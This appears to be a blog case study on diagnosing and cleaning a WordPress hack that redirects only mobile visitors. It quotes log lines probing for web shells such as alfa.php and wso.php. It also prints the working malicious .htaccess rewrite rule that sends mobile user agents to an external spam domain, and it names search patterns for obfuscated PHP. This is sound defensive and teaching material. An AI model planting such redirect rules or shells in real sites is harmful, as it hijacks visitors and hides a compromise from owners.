If your WordPress site looks normal on desktop but keeps kicking mobile visitors away, you may be dealing with a mobile-only redirect hack.
This kind of infection is designed to stay hidden. The site owner opens the homepage on a laptop, sees nothing obviously broken, and assumes WordPress is fine. Meanwhile, mobile users get silently redirected to a spam or adware destination before they can even interact with the real site.
That is exactly what happened in this case.
In this article, I’ll show you how I diagnosed the infection using raw server access logs and SSL logs, how I confirmed the redirect was targeting mobile user agents only, and how I traced the behavior back to a malicious .htaccess payload and hidden web shells.
If you are dealing with suspicious redirects right now, you may also want to read my guide on how to detect WordPress malware and my full WordPress malware removal service page.
The Symptom: The Site Worked on Desktop but Not on Mobile
The client’s complaint was simple: the website looked normal on desktop, but mobile visitors were being kicked out immediately.
There were no visible PHP errors, no obvious plugin crash, and no broken layout. That is usually a sign that the malicious behavior is happening before WordPress fully renders the page.
When a redirect happens that early, I stop wasting time in the dashboard and move straight to the server logs.
This is also why many site owners miss these infections at first. If you only test the site on your own laptop, you may never see the problem until users start complaining. I cover similar hidden behavior in my article on how hackers hide backdoors in WordPress.
Step 1: Reviewing the Access Logs for Signs of a Backdoor
The first useful clue came from the standard access logs.
I found repeated requests probing for well-known web shell filenames and backdoor management paths. The requests were clearly automated and aggressive.
"GET /alfa.php HTTP/1.1" 409
"GET /wso.php HTTP/1.1" 409
"GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 409
"GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 200
That pattern told me two things immediately:
- the server was being probed for existing backdoors and shell paths
- at least one malicious shell-related request was not being blocked
In this case, the 200 OK response against the perl.alfa path was the key indicator. That suggested the attacker had a working foothold on the server and could use it to modify files, inject payloads, or drop redirect logic elsewhere.
I do not treat the 409 codes alone as universal proof of WAF behavior. But in this case, the pattern strongly suggested that some malicious probes were being intercepted while at least one active shell endpoint was still reachable.
If you want a broader look at hidden entry points like this, read this case study about a hidden WordPress backdoor.
Step 2: Comparing Desktop and Mobile Requests in the SSL Logs
The site owner’s report said the problem only affected mobile users, so the next step was to verify that with log evidence.
I compared SSL log entries using different user-agent strings.
What I found was the real breakthrough:
-
Desktop request: returned
200 -
Mobile request: returned
302
That difference matters.
A 302 Found response means the server is temporarily redirecting the visitor to another URL. So when a desktop browser gets a normal 200 and a mobile user agent gets a 302, you are no longer guessing. You are looking at user-agent-based redirect behavior.
At that point, the infection pattern was clear: the server was serving the real site to desktop browsers while redirecting mobile users somewhere else.
That kind of selective behavior is common in stealth malware because it helps the infection stay hidden from the site owner during casual checks.
I have seen the same “looks normal to me” pattern in other redirect cases too, including WordPress redirects to spam on mobile only and .htaccess redirect malware infections.
Step 3: Why the .htaccess File Became the Main Suspect
Once I confirmed the redirect was happening based on the visitor’s device, the next question was where that logic lived.
Because the redirect was firing before WordPress showed any obvious application-level symptoms, the strongest suspect was the Apache rewrite layer.
Apache’s mod_rewrite allows administrators to use RewriteCond and RewriteRule directives inside .htaccess to evaluate request conditions and redirect matching traffic. That makes it a common place for server-level malware redirects.
When I opened the .htaccess file, the malicious payload was sitting right at the top.
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "Android|iPhone|iPad|iPod|BlackBerry|Windows Phone" [NC]
RewriteRule ^.*$ https://lakns.com/link?z=9557727&var=[domain_name]&ymid={CLICK_ID} [R=302,L]
If you are currently cleaning a similar infection, my full guide on how to remove .htaccess malware from WordPress goes deeper into common redirect patterns and cleanup steps.
What the Malicious Rewrite Rule Was Doing
This rule was simple, but effective.
1. It checked the visitor’s device
The RewriteCond line inspected the HTTP_USER_AGENT string and looked for common mobile identifiers like Android and iPhone.
2. It redirected every matching request
If the visitor matched the mobile condition, the RewriteRule redirected the request to an external spam/adware URL using an HTTP 302 redirect.
3. It avoided casual detection
Desktop visitors saw the real website. Mobile users got hijacked. That allowed the attacker to monetize mobile traffic while keeping the infection relatively invisible during routine desktop testing.
Why This Kind of Malware Is So Easy to Miss
Most site owners test their own website from a laptop.
That is exactly why this attack works so well.
The infection is built to pass a basic desktop check. No homepage defacement. No obvious white screen. No noisy plugin error. Just a quiet redirect for the traffic the attacker wants to steal.
If you only inspect WordPress from the admin area or test the homepage on desktop, you can miss the infection for days or weeks.
That is why access logs matter so much in mobile redirect cases. The logs tell you what the server actually returned to real visitors, not what you hoped it was doing.
This is also one reason malware keeps coming back or stays unnoticed after a “quick cleanup.” If you haven’t seen it yet, read why WordPress malware keeps coming back.
How I Cleaned the Infection Properly
Deleting the redirect rule alone would have fixed the symptom, but not the root cause.
Since the logs showed shell activity, the real job was to remove both the visible redirect and the hidden access points that allowed the attacker to place it.
1. I removed the malicious redirect from .htaccess
The first step was restoring the file to a clean WordPress configuration so mobile visitors could access the real site again.
2. I hunted the underlying backdoors
Next, I searched the file system for shell-related artifacts and obfuscated PHP patterns tied to the breach. In cases like this, I typically search for known shell folders, suspicious filenames, and patterns such as:
ALFA_DATAeval(base64_decode- unexpected PHP files in writable folders
- modified core files or injected include statements
3. I checked WordPress core integrity
After removing the visible payloads, I verified that core files, themes, and plugins matched clean versions and had not been modified to persist the infection.
4. I rotated access after cleanup
Once the environment was clean, I changed WordPress, FTP, database, and hosting credentials, and rotated WordPress salts so old sessions would no longer remain valid.
After that, I also recommend following a post-cleanup process like the one in this hacked site checklist.
What You Should Check If Your Site Redirects Only on Mobile
If you are seeing this behavior on your own site, here is where I would look first:
- Access logs: compare status codes for desktop vs mobile user agents
- SSL logs: confirm whether only mobile requests are getting redirected
-
.htaccess: look for suspiciousRewriteCond %{HTTP_USER_AGENT}and external redirect rules -
Hidden shell files: search for filenames like
alfa.php,wso.php, and shell-related folders -
Core files: inspect
index.php,wp-config.php, and other high-risk entry points
If you are still unsure whether the redirect is file-based, database-based, or both, this guide on cleaning hidden database malware can help you rule out the database side too.
FAQ: WordPress Mobile Redirect Hack
Why does my WordPress site redirect only on mobile but not on desktop?
That usually means the malware is checking the visitor’s device or user-agent string before deciding whether to redirect. This is a common stealth tactic because site owners often test from desktop first and miss the infection.
Can a mobile redirect happen even if WordPress looks normal in the dashboard?
Yes. Many mobile redirect infections happen at the server level through .htaccess, compromised files, or hidden backdoors. That means the dashboard may look perfectly normal while visitors are still being hijacked.
Is deleting the malicious .htaccess rule enough?
No. That only removes the visible symptom. If the attacker got in through a web shell, backdoor, vulnerable plugin, or stolen credential, they can place the same redirect again unless you remove the real entry point and rotate access.
What logs should I check first for a mobile-only redirect?
Start with your standard access logs and SSL access logs. Compare the HTTP status codes and destinations returned to desktop and mobile user agents. If desktop gets 200 and mobile gets 302, that is a strong sign of targeted redirect malware.
Can malware like this affect SEO?
Yes. Even if the homepage looks normal to you, redirecting users to spam or adware pages can damage trust, hurt rankings, and create indexing or blacklist issues if the infection stays active long enough.
Final Takeaway
A WordPress mobile redirect hack is designed for stealth.
It does not need to destroy your homepage. It only needs to hijack the right visitors without getting caught.
That is why log analysis is so valuable in these cases. When desktop traffic gets a normal 200 but mobile traffic gets a 302, the logs expose what the infection is doing. And when that behavior leads back to a malicious rewrite rule in .htaccess, you know you are dealing with a server-level compromise, not just a broken plugin.
But the rewrite rule is only the symptom.
If the attacker got shell access once, they can come back unless you remove the backdoors, verify file integrity, and rotate access properly.
Need Help Removing a Mobile Redirect Hack?
If your WordPress site redirects only on phones, shows suspicious 302 responses, or keeps sending users to spam domains, I can help track it down and clean it properly.
Top comments (0)